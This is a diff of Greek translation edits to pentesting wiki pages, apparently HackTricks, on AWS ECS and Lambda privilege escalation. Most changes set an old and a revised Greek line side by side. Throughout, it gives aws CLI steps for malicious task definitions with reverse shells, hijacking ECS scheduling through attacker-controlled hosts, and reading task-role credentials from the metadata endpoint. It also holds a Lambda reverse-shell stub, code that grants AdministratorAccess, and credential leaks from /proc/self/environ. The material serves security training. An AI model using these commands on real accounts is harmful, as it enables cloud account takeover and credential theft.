- ECS cluster name
- VPC Subnet
- Security group (If no security group is specified the default one will be used)
@@ -105,9 +105,9 @@ aws ecs run-task \
]
}'
```
Στο παραπάνω απόσπασμα κώδικα ένας επιτιθέμενος αντικαθιστά μόνο την τιμή `taskRoleArn`. Ωστόσο, ο επιτιθέμενος πρέπει να έχει δικαίωμα `iam:PassRole` πάνω στο `taskRoleArn` που καθορίζεται στην εντολή και στο `executionRoleArn` που καθορίζεται στον ορισμό του task ώστε η επίθεση να πραγματοποιηθεί.
Στο παραπάνω απόσπασμα κώδικα ένας επιτιθέμενος αντικαθιστά μόνο την τιμή του `taskRoleArn`. Ωστόσο, ο επιτιθέμενος πρέπει να έχει την άδεια `iam:PassRole` για το `taskRoleArn` που καθορίζεται στην εντολή και για το `executionRoleArn` που καθορίζεται στον ορισμό του task ώστε η επίθεση να συμβεί.
Εάν ο IAM ρόλος που ο επιτιθέμενος μπορεί να περάσει έχει επαρκή προνόμια για να τραβήξει εικόνα από το ECR και να ξεκινήσει το ECS task (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) τότε ο επιτιθέμενος μπορεί να καθορίσει τον ίδιο IAM ρόλο τόσο για το `executionRoleArn` όσο και για το `taskRoleArn` στην εντολή `ecs run-task`.
Εάν ο IAM ρόλος που ο επιτιθέμενος μπορεί να περάσει έχει αρκετά προνόμια για να κάνει pull το ECR image και να ξεκινήσει το ECS task (ecr:BatchCheckLayerAvailability, ecr:GetDownloadUrlForLayer, ecr:BatchGetImage, ecr:GetAuthorizationToken) τότε ο επιτιθέμενος μπορεί να καθορίσει τον ίδιο IAM ρόλο και για το `executionRoleArn` και για το `taskRoleArn` στην εντολή `ecs run-task`.
```sh
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
@@ -121,12 +121,12 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
]
}'
```
**Πιθανός Αντίκτυπος:** Άμεσο privesc σε οποιοδήποτε ECS task role.
**Potential Impact:** Άμεση privesc σε οποιονδήποτε ECS task role.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
Όπως στο προηγούμενο παράδειγμα, ένας επιτιθέμενος που εκμεταλλεύεται τα δικαιώματα **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** στο ECS μπορεί να **δημιουργήσει ένα νέο task definition** με ένα **κακόβουλο container** που κλέβει τα metadata credentials και να το **τρέξει**.\
Ωστόσο, σε αυτή την περίπτωση χρειάζεται να υπάρχει ένα container instance για να τρέξει το κακόβουλο task definition.
Όπως και στο προηγούμενο παράδειγμα, ένας επιτιθέμενος που καταχράται τα δικαιώματα **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** στο ECS μπορεί να **δημιουργήσει ένα νέο task definition** με ένα **κακόβουλο container** που κλέβει τα διαπιστευτήρια μεταδεδομένων και να το **τρέξει**.\
Ωστόσο, σε αυτή την περίπτωση, απαιτείται μια container instance για να εκτελεστεί το κακόβουλο task definition.
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -142,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
**Potential Impact:** Άμεσο privesc σε οποιονδήποτε ρόλο του ECS.
**Potential Impact:** Άμεση privesc σε οποιονδήποτε ECS ρόλο.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
Όπως και στο προηγούμενο παράδειγμα, ένας επιτιθέμενος που καταχράται τα δικαιώματα **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ή **`ecs:CreateService`** στο ECS μπορεί να **generate a new task definition** με ένα **malicious container** που κλέβει τα metadata credentials και να το **run it by creating a new service with at least 1 task running.**
Όπως και στο προηγούμενο παράδειγμα, ένας επιτιθέμενος που καταχράται τα **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ή **`ecs:CreateService`** permissions στο ECS μπορεί να **generate a new task definition** με ένα **malicious container** που κλέβει τα metadata credentials και να **run it by creating a new service with at least 1 task running.**
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -173,7 +173,7 @@ aws ecs update-service --cluster <CLUSTER NAME> \
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
Στην πραγματικότητα, μόνο με αυτά τα δικαιώματα είναι δυνατόν να χρησιμοποιήσετε overrides για να εκτελέσετε αυθαίρετες εντολές σε ένα container με οποιοδήποτε role, με κάτι σαν:
Στην πραγματικότητα, μόνο με αυτές τις άδειες είναι δυνατόν να χρησιμοποιήσεις overrides για να εκτελέσεις αυθαίρετες εντολές σε ένα container με οποιοδήποτε role, με κάτι σαν:
```bash
aws ecs run-task \
--task-definition "<task-name>" \
@@ -181,13 +181,13 @@ aws ecs run-task \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
```
**Πιθανός αντίκτυπος:** Άμεσο privesc σε οποιονδήποτε ρόλο ECS.
**Πιθανός Αντίκτυπος:** Άμεσο privesc σε οποιονδήποτε ρόλο ECS.
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
Αυτό το σενάριο είναι σαν τα προηγούμενα αλλά **χωρίς** την άδεια **`iam:PassRole`**.\
Αυτό παραμένει ενδιαφέρον γιατί αν μπορείτε να τρέξετε ένα αυθαίρετο container, ακόμα κι αν είναι χωρίς ρόλο, θα μπορούσατε να **τρέξετε ένα privileged container για να escape** στο node και να **κλέψετε τον EC2 IAM role** και τους **άλλους ECS containers roles** που τρέχουν στον node.\
Μπορείτε ακόμη και να **αναγκάσετε άλλες εργασίες να τρέξουν μέσα στο EC2 instance** που συμβιβάζετε για να κλέψετε τα credentials τους (όπως συζητείται στην [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node)).
Αυτό το σενάριο είναι παρόμοιο με τα προηγούμενα αλλά **χωρίς** την άδεια **`iam:PassRole`**.\
Αυτό παραμένει ενδιαφέρον γιατί αν μπορείτε να τρέξετε έναν αυθαίρετο container, ακόμα κι αν δεν έχει ρόλο, θα μπορούσατε να **τρέξετε ένα privileged container για να διαφύγετε** στον node και να **κλέψετε τον EC2 IAM role** και τους **ρόλους των άλλων ECS containers** που τρέχουν στον node.\
Μπορείτε ακόμα και να **αναγκάσετε άλλες εργασίες να τρέξουν μέσα στο EC2 instance** που παραβιάζετε για να κλέψετε τα διαπιστευτήριά τους (όπως συζητείται στην [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node)).
> [!WARNING]
> Αυτή η επίθεση είναι δυνατή μόνο αν το **ECS cluster χρησιμοποιεί EC2** instances και όχι Fargate.
@@ -233,12 +233,11 @@ aws ecs run-task --task-definition iam_exfiltration \
```
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
Ένας επιτιθέμενος με τις **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** μπορεί να **εκτελέσει εντολές** μέσα σε ένα τρέχον container και να εξάγει το IAM role που είναι συνημμένο σε αυτό (χρειάζεσαι τα describe permissions γιατί είναι απαραίτητα για να τρέξεις `aws ecs execute-command`).\
Ωστόσο, για να γίνει αυτό, το container instance πρέπει να τρέχει τον **ExecuteCommand agent** (ο οποίος από προεπιλογή δεν τρέχει).
Ένας επιτιθέμενος με τα **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** μπορεί να **execute commands** μέσα σε ένα τρέχον container και να εξάγει το IAM role που είναι συνδεδεμένο σε αυτό (χρειάζεσαι τα describe permissions επειδή είναι απαραίτητα για να τρέξεις `aws ecs execute-command`).\ Ωστόσο, για να γίνει αυτό, το container instance πρέπει να τρέχει τον **ExecuteCommand agent** (ο οποίος από προεπιλογή δεν τρέχει).
Επομένως, ο επιτιθέμενος μπορεί να προσπαθήσει να:
Therefore, the attacker cloud try to:
- **Να τρέξει μια εντολή** σε κάθε container που τρέχει
- **Try to run a command** in every running container
```bash
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
@@ -256,18 +255,18 @@ aws ecs execute-command --interactive \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
```
- Εάν έχει **`ecs:RunTask`**, τρέξε ένα task με `aws ecs run-task --enable-execute-command [...]`
- Εάν έχει **`ecs:StartTask`**, τρέξε ένα task με `aws ecs start-task --enable-execute-command [...]`
- Εάν έχει **`ecs:CreateService`**, δημιούργησε μια service με `aws ecs create-service --enable-execute-command [...]`
- Εάν έχει **`ecs:UpdateService`**, ενημέρωσε μια service με `aws ecs update-service --enable-execute-command [...]`
- Αν έχει **`ecs:RunTask`**, τρέξτε ένα task με `aws ecs run-task --enable-execute-command [...]`
- Αν έχει **`ecs:StartTask`**, τρέξτε ένα task με `aws ecs start-task --enable-execute-command [...]`
- Αν έχει **`ecs:CreateService`**, δημιουργήστε μια service με `aws ecs create-service --enable-execute-command [...]`
- Αν έχει **`ecs:UpdateService`**, ενημερώστε μια service με `aws ecs update-service --enable-execute-command [...]`
Μπορείς να βρεις **παραδείγματα αυτών των επιλογών** στις **προηγούμενες ECS privesc ενότητες**.
Μπορείτε να βρείτε **παραδείγματα αυτών των επιλογών** στις **προηγούμενες ECS privesc sections**.
**Πιθανός αντίκτυπος:** Privesc σε διαφορετικό role που είναι συνημμένο σε containers.
**Πιθανός αντίκτυπος:** Privesc σε διαφορετικό ρόλο συνδεδεμένο με containers.
### `ssm:StartSession`
Κοίτα στην **ssm privesc σελίδα** πώς μπορείς να καταχραστείς αυτή την άδεια για να **privesc σε ECS**:
Δείτε στη **ssm privesc page** πώς μπορείτε να καταχραστείτε αυτή την άδεια για να **privesc to ECS**:
{{#ref}}
../aws-ssm-privesc/README.md
@@ -275,7 +274,7 @@ aws ecs execute-command --interactive \
### `iam:PassRole`, `ec2:RunInstances`
Κοίτα στην **ec2 privesc σελίδα** πώς μπορείς να καταχραστείς αυτές τις άδειες για να **privesc σε ECS**:
Δείτε στη **ec2 privesc page** πώς μπορείτε να καταχραστείτε αυτές τις άδειες για να **privesc to ECS**:
{{#ref}}
../aws-ec2-privesc/README.md
@@ -285,14 +284,14 @@ aws ecs execute-command --interactive \
Ένας επιτιθέμενος με αυτές τις άδειες θα μπορούσε ενδεχομένως να εγγράψει ένα EC2 instance σε ένα ECS cluster και να τρέξει tasks σε αυτό. Αυτό θα μπορούσε να επιτρέψει στον επιτιθέμενο να εκτελέσει αυθαίρετο κώδικα στο πλαίσιο των ECS tasks.
- TODO: Είναι δυνατό να εγγραφεί ένα instance από διαφορετικό AWS account έτσι ώστε τα tasks να τρέχουν σε μηχανές ελεγχόμενες από τον επιτιθέμενο??
- TODO: Είναι δυνατόν να εγγραφεί ένα instance από διαφορετικό AWS account ώστε τα tasks να τρέχουν σε μηχανές ελεγχόμενες από τον επιτιθέμενο;;
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
> [!NOTE]
> TODO: Δοκιμάστε αυτό
Ένας επιτιθέμενος με τις άδειες `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, και `ecs:DescribeTaskSets` μπορεί να **δημιουργήσει ένα κακόβουλο task set για μια υπάρχουσα ECS service και να ενημερώσει το primary task set**. Αυτό επιτρέπει στον επιτιθέμενο να **εκτελέσει αυθαίρετο κώδικα εντός της υπηρεσίας**.
Ένας επιτιθέμενος με τις άδειες `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, και `ecs:DescribeTaskSets` μπορεί να **δημιουργήσει ένα κακόβουλο task set για μια υπάρχουσα ECS service και να ενημερώσει το primary task set**. Αυτό επιτρέπει στον επιτιθέμενο να **εκτελέσει αυθαίρετο κώδικα μέσα στην υπηρεσία**.
```bash
# Register a task definition with a reverse shell
echo '{
@@ -318,13 +317,13 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
```
**Πιθανός αντίκτυπος**: Εκτέλεση αυθαίρετου κώδικα στην επηρεασμένη υπηρεσία, ενδεχομένως επηρεάζοντας τη λειτουργικότητά της ή προκαλώντας εξαγωγή ευαίσθητων δεδομένων.
**Ενδεχόμενος Αντίκτυπος**: Εκτέλεση arbitrary code στην επηρεασμένη υπηρεσία, ενδεχομένως επηρεάζοντας τη λειτουργικότητά της ή exfiltrating ευαίσθητα δεδομένα.
## Αναφορές
- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)
{{#include ../../../../banners/hacktricks-training.md}}
@@ -332,7 +331,7 @@ aws ecs update-service-primary-task-set --cluster existing-cluster --service exi
### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
Ένας επιτιθέμενος με δικαιώματα για διαχείριση ECS capacity providers και ενημέρωση services μπορεί να δημιουργήσει ένα EC2 Auto Scaling Group που ελέγχει, να το ενσωματώσει σε έναν ECS Capacity Provider, να το συσχετίσει με το στοχευόμενο cluster και να μεταφέρει μια θύμα υπηρεσία ώστε να χρησιμοποιεί αυτόν τον provider. Στη συνέχεια, τα tasks θα προγραμματιστούν σε EC2 instances που ελέγχονται από τον επιτιθέμενο, επιτρέποντας πρόσβαση σε επίπεδο λειτουργικού συστήματος για επιθεώρηση των containers και κλοπή των task role credentials.
Ένας attacker με δικαιώματα για διαχείριση των ECS capacity providers και ενημέρωση services μπορεί να δημιουργήσει ένα EC2 Auto Scaling Group που ελέγχει, να το τυλίξει σε έναν ECS Capacity Provider, να το συσχετίσει με το target cluster και να μεταφέρει ένα victim service ώστε να χρησιμοποιεί αυτόν τον provider. Τα tasks θα προγραμματιστούν σε attacker-controlled EC2 instances, επιτρέποντας OS-level πρόσβαση για να εξετάσει containers και να κλέψει task role credentials.
Commands (us-east-1):
@@ -364,17 +363,17 @@ Commands (us-east-1):
- Optional: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials.
- Optional: Από το EC2 node, docker exec στα target containers και ανάγνωση http://169.254.170.2 για να αποκτήσετε τα task role credentials.
- Καθαρισμός
- Cleanup
**Πιθανός αντίκτυπος:** EC2 nodes που ελέγχονται από τον επιτιθέμενο λαμβάνουν τα victim tasks, δίνοντας πρόσβαση σε επίπεδο λειτουργικού συστήματος στα containers και κλοπή των task IAM role credentials.
**Potential Impact:** Attacker-controlled EC2 nodes λαμβάνουν victim tasks, επιτρέποντας OS-level πρόσβαση στα containers και κλοπή των task IAM role credentials.
<details>
<summary>Step-by-step commands (copy/paste)</summary>
<summary>Βήμα προς βήμα εντολές (αντιγραφή/επικόλληση)</summary>
<pre>
export AWS_DEFAULT_REGION=us-east-1
CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
@@ -409,19 +408,19 @@ aws ecs describe-container-instances --cluster "" --container-instances "" --que
### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration
Κακοχρησιμοποίηστε το ECS Anywhere για να καταχωρήσετε έναν host που ελέγχεται από τον επιτιθέμενο ως EXTERNAL container instance σε ένα θύμα ECS cluster και να εκτελέσετε tasks σε αυτόν τον host χρησιμοποιώντας privileged task και execution roles. Αυτό παρέχει έλεγχο σε επίπεδο λειτουργικού συστήματος για το πού εκτελούνται τα tasks (τον δικό σας υπολογιστή) και επιτρέπει κλοπή διαπιστευτηρίων/δεδομένων από tasks και προσαρτημένους όγκους (volumes) χωρίς να πειράξετε capacity providers ή ASGs.
Abuse ECS Anywhere για να καταχωρήσετε ένα attacker-controlled host ως EXTERNAL container instance σε ένα victim ECS cluster και να τρέξετε tasks σε αυτόν τον host χρησιμοποιώντας privileged task και execution roles. Αυτό παρέχει OS-level έλεγχο του πού τρέχουν τα tasks (το δικό σας μηχάνημα) και επιτρέπει credential/data theft από tasks και προσαρτημένους volumes χωρίς να πειράξετε capacity providers ή ASGs.
- Απαιτούμενα δικαιώματα (παράδειγμα ελάχιστο):
- Required perms (example minimal):
- ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
- ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (for the ECS Anywhere instance role and task/execution roles)
- logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs)
- Επίπτωση: Εκτέλεση αυθαίρετων containers με επιλεγμένο taskRoleArn στον host του επιτιθέμενου; εξαγωγή task-role credentials από 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; πρόσβαση σε οποιαδήποτε volumes προσαρτημένα από tasks; πιο διακριτικό από τη χειραγώγηση capacity providers/ASGs.
- Impact: Run arbitrary containers with chosen taskRoleArn on attacker host; exfiltrate task-role credentials from 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; access any volumes mounted by tasks; stealthier than manipulating capacity providers/ASGs.
Βήματα
Steps
1) Δημιουργία/εντοπισμός cluster (us-east-1)
1) Create/identify cluster (us-east-1)
```bash
aws ecs create-cluster --cluster-name ht-ecs-anywhere
```
@@ -434,7 +433,7 @@ aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam:
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
```
3) Provision του attacker host και αυτόματη καταχώρισή του ως EXTERNAL (παράδειγμα: small AL2 EC2 ως “onprem”)
3) Provision attacker host και κάντε αυτόματη εγγραφή του ως EXTERNAL (παράδειγμα: μικρό AL2 EC2 ως “onprem”)
<details>
<summary>user-data.sh</summary>
@@ -455,14 +454,14 @@ IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
aws ec2 wait instance-status-ok --instance-ids $IID
```
4) Επαληθεύστε ότι ο EXTERNAL container instance έχει ενταχθεί
4) Επαλήθευση ότι η EXTERNAL container instance εντάχθηκε
```bash
aws ecs list-container-instances --cluster ht-ecs-anywhere
aws ecs describe-container-instances --cluster ht-ecs-anywhere \
--container-instances <ci-arn> --query 'containerInstances[0].[ec2InstanceId,attributes]'
# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external
```
5) Δημιουργήστε task/execution roles, εγγράψτε EXTERNAL task definition και τρέξτε το στον attacker host
5) Δημιούργησε task/execution roles, καταχώρισε EXTERNAL task definition και τρέξε το στον attacker host
```bash
# roles
aws iam create-role --role-name ht-ecs-task-exec \
@@ -498,18 +497,18 @@ CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'contain
aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
--container-instances $CI
```
6) Από εδώ έχετε τον έλεγχο του host που τρέχει τα tasks. Μπορείτε να διαβάσετε τα task logs (αν awslogs) ή να κάνετε exec απευθείας στον host για να εξάγετε credentials/δεδομένα από τα tasks σας.
6) Από εδώ ελέγχετε το host που τρέχει τα tasks. Μπορείτε να διαβάσετε task logs (if awslogs) ή να εκτελέσετε απευθείας exec στο host για να exfiltrate credentials/data από τα tasks σας.
#### Παράδειγμα εντολής (placeholders)
#### Παράδειγμα εντολής (δείκτες κράτησης θέσης)
### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
An attacker with permissions to manage ECS capacity providers and update services can create an EC2 Auto Scaling Group they control, wrap it in an ECS Capacity Provider, associate it to the target cluster, and migrate a victim service to use this provider. Tasks will then be scheduled onto attacker-controlled EC2 instances, allowing OS-level access to inspect containers and steal task role credentials.
Ένας επιτιθέμενος με δικαιώματα για να διαχειρίζεται ECS capacity providers και να ενημερώνει services μπορεί να δημιουργήσει ένα EC2 Auto Scaling Group που ελέγχει, να το ενσωματώσει σε έναν ECS Capacity Provider, να το συσχετίσει με το target cluster, και να μεταφέρει μια υπηρεσία θύματος ώστε να χρησιμοποιεί αυτόν τον provider. Τα Tasks θα προγραμματιστούν τότε σε EC2 instances που ελέγχονται από τον επιτιθέμενο, επιτρέποντας πρόσβαση σε επίπεδο OS για επιθεώρηση containers και κλοπή task role credentials.
Commands (us-east-1):
@@ -517,34 +516,35 @@ Commands (us-east-1):
- Create Launch Template for ECS agent to join target cluster
- Δημιουργία Launch Template ώστε ο ECS agent να ενταχθεί στο target cluster
- Create Auto Scaling Group
- Δημιουργία Auto Scaling Group
- Create Capacity Provider from the ASG
- Δημιουργία Capacity Provider από το ASG
- Associate the Capacity Provider to the cluster (optionally as default)
- Συσχέτιση του Capacity Provider με το cluster (προαιρετικά ως default)
- Migrate a service to your provider
- Μεταφορά μιας service στον provider σας
- Verify tasks land on attacker instances
- Επαλήθευση ότι τα tasks προσγειώνονται σε instances του επιτιθέμενου
- Optional: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials.
- Προαιρετικό: Από τον EC2 node, docker exec μέσα στα target containers και διαβάστε http://169.254.170.2 για να αποκτήσετε τα task role credentials.
- Cleanup
- Καθαρισμός
**Potential Impact:** Attacker-controlled EC2 nodes receive victim tasks, enabling OS-level access to containers and theft of task IAM role credentials.
**Potential Impact:** EC2 nodes που ελέγχονται από τον επιτιθέμενο λαμβάνουν victim tasks, επιτρέποντας πρόσβαση σε επίπεδο OS στα containers και κλοπή των task IAM role credentials.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## lambda
Περισσότερες πληροφορίες για τη lambda σε:
Περισσότερες πληροφορίες για το lambda στο:
{{#ref}}
../../aws-services/aws-lambda-enum.md
@@ -12,11 +12,11 @@
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
Οι χρήστες με τα **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:InvokeFunction`** δικαιώματα μπορούν να κλιμακώσουν τα προνόμιά τους.\
Μπορούν να **δημιουργήσουν μια νέα Lambda function και να της αναθέσουν ένα υπάρχον IAM role**, παρέχοντας στη function τα δικαιώματα που σχετίζονται με εκείνο το role. Ο χρήστης μπορεί στη συνέχεια να **γράψει και να ανεβάσει κώδικα σε αυτή τη Lambda function (π.χ. με ένα rev shell)**.\
Μόλις η function ρυθμιστεί, ο χρήστης μπορεί να **εκκινήσει την εκτέλεσή της** και τις επιδιωκόμενες ενέργειες καλώντας τη Lambda function μέσω του AWS API. Αυτή η προσέγγιση επιτρέπει ουσιαστικά στον χρήστη να εκτελεί εργασίες έμμεσα μέσω της Lambda function, λειτουργώντας με το επίπεδο πρόσβασης που παρέχεται από το συσχετισμένο IAM role.\\
Χρήστες με τα **`iam:PassRole`, `lambda:CreateFunction`, και `lambda:InvokeFunction`** permissions μπορούν να αυξήσουν τα privileges τους.\
Μπορούν να **δημιουργήσουν μια νέα Lambda function και να την αναθέσουν σε ένα υπάρχον IAM role**, δίνοντας στη function τα permissions που σχετίζονται με αυτό το role. Ο χρήστης μπορεί στη συνέχεια να **γράψει και να ανεβάσει κώδικα σε αυτή τη Lambda function (π.χ. με ένα rev shell)**.\
Μόλις η function ρυθμιστεί, ο χρήστης μπορεί να **προκαλέσει την εκτέλεσή της** και τις επιθυμητές ενέργειες καλώντας τη Lambda function μέσω του AWS API. Αυτή η προσέγγιση επιτρέπει ουσιαστικά στον χρήστη να εκτελεί εργασίες έμμεσα μέσω της Lambda function, λειτουργώντας με το επίπεδο πρόσβασης που παρέχει το IAM role που συνδέεται με αυτή.\\
Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτό για να αποκτήσει ένα **rev shell και να κλέψει το token**:
Ένας attacker θα μπορούσε να το εκμεταλλευτεί για να αποκτήσει ένα **rev shell και να κλέψει το token**:
```python:rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
@@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt
# List roles
aws iam list-attached-user-policies --user-name <user-name>
```
Μπορείτε επίσης να **abuse the lambda role permissions** από την ίδια τη lambda function.\
Εάν το lambda role είχε επαρκή permissions, θα μπορούσατε να το χρησιμοποιήσετε για να αποκτήσετε admin rights:
Μπορείτε επίσης να **abuse the lambda role permissions** from the lambda function itself.\
Εάν ο lambda role είχε αρκετά permissions, θα μπορούσατε να τον χρησιμοποιήσετε για να δώσετε admin rights σε εσάς:
```python
import boto3
def lambda_handler(event, context):
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
```
Είναι επίσης δυνατό να leak τα lambda's role credentials χωρίς να χρειάζεται εξωτερική σύνδεση. Αυτό θα ήταν χρήσιμο για **Network isolated Lambdas** που χρησιμοποιούνται σε εσωτερικές εργασίες. Αν υπάρχουν άγνωστες security groups που φιλτράρουν τα reverse shells σου, αυτό το κομμάτι κώδικα θα σου επιτρέψει να leak απευθείας τα credentials ως output του lambda.
Είναι επίσης δυνατό να leak τα διαπιστευτήρια του role της lambda χωρίς να χρειάζεται εξωτερική σύνδεση. Αυτό θα ήταν χρήσιμο για **Network isolated Lambdas** που χρησιμοποιούνται σε εσωτερικές εργασίες. Εάν υπάρχουν άγνωστα security groups που φιλτράρουν τα reverse shells σου, αυτό το κομμάτι κώδικα θα σου επιτρέψει να leak απευθείας τα διαπιστευτήρια ως έξοδο της lambda.
```python
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
@@ -72,34 +72,34 @@ return {
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt
```
**Πιθανός Αντίκτυπος:** Άμεσο privesc στον καθορισμένο αυθαίρετο lambda service role.
**Potential Impact:** Άμεσο privesc στον καθορισμένο role υπηρεσίας lambda.
> [!CAUTION]
> Σημειώστε ότι, ακόμα κι αν μπορεί να φαίνεται ενδιαφέρον **`lambda:InvokeAsync`** **δεν** επιτρέπει από μόνο του να **εκτελέσετε `aws lambda invoke-async`**, χρειάζεστε επίσης `lambda:InvokeFunction`
> Σημειώστε ότι, ακόμη κι αν φαίνεται ενδιαφέρον, **`lambda:InvokeAsync`** **δεν** επιτρέπει από μόνο του να **εκτελέσετε `aws lambda invoke-async`**, χρειάζεστε επίσης `lambda:InvokeFunction`
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
Όπως στο προηγούμενο σενάριο, μπορείτε να **εκχωρήσετε στον εαυτό σας την άδεια `lambda:InvokeFunction`** αν έχετε την άδεια **`lambda:AddPermission`**
Όπως στο προηγούμενο σενάριο, μπορείτε να **παραχωρήσετε στον εαυτό σας την άδεια `lambda:InvokeFunction`** εάν έχετε την άδεια **`lambda:AddPermission`**
```bash
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
```
**Potential Impact:** Άμεσο privesc στον αυθαίρετο ρόλο υπηρεσίας lambda που καθορίζεται.
**Potential Impact:** Άμεσο privesc στο αυθαίρετο lambda service role που καθορίζεται.
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
Χρήστες με **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** δικαιώματα (και ενδεχομένως `dynamodb:PutItem` και `dynamodb:CreateTable`) μπορούν έμμεσα να **escalate privileges** ακόμη και χωρίς `lambda:InvokeFunction`.\
Μπορούν να δημιουργήσουν μια **Lambda function με κακόβουλο κώδικα και να της αναθέσουν έναν υπάρχοντα IAM role**.
Χρήστες με **`iam:PassRole`, `lambda:CreateFunction` και `lambda:CreateEventSourceMapping`** δικαιώματα (και ενδεχομένως `dynamodb:PutItem` και `dynamodb:CreateTable`) μπορούν έμμεσα να αποκτήσουν αυξημένα προνόμια ακόμη και χωρίς `lambda:InvokeFunction`.\
Μπορούν να δημιουργήσουν μια **Lambda function με κακόβουλο κώδικα και να την αναθέσουν σε έναν υπάρχοντα IAM role**.
Αντί να καλεί απευθείας το Lambda, ο χρήστης δημιουργεί ή χρησιμοποιεί έναν υπάρχοντα πίνακα DynamoDB, συνδέοντάς τον με το Lambda μέσω ενός event source mapping. Αυτή η ρύθμιση διασφαλίζει ότι η Lambda function θα ενεργοποιείται αυτόματα όταν προστεθεί νέο item στον πίνακα, είτε από ενέργεια του χρήστη είτε από άλλη διεργασία, καλώντας έτσι έμμεσα το Lambda και εκτελώντας τον κώδικα με τα δικαιώματα του IAM role που του ανατέθηκε.
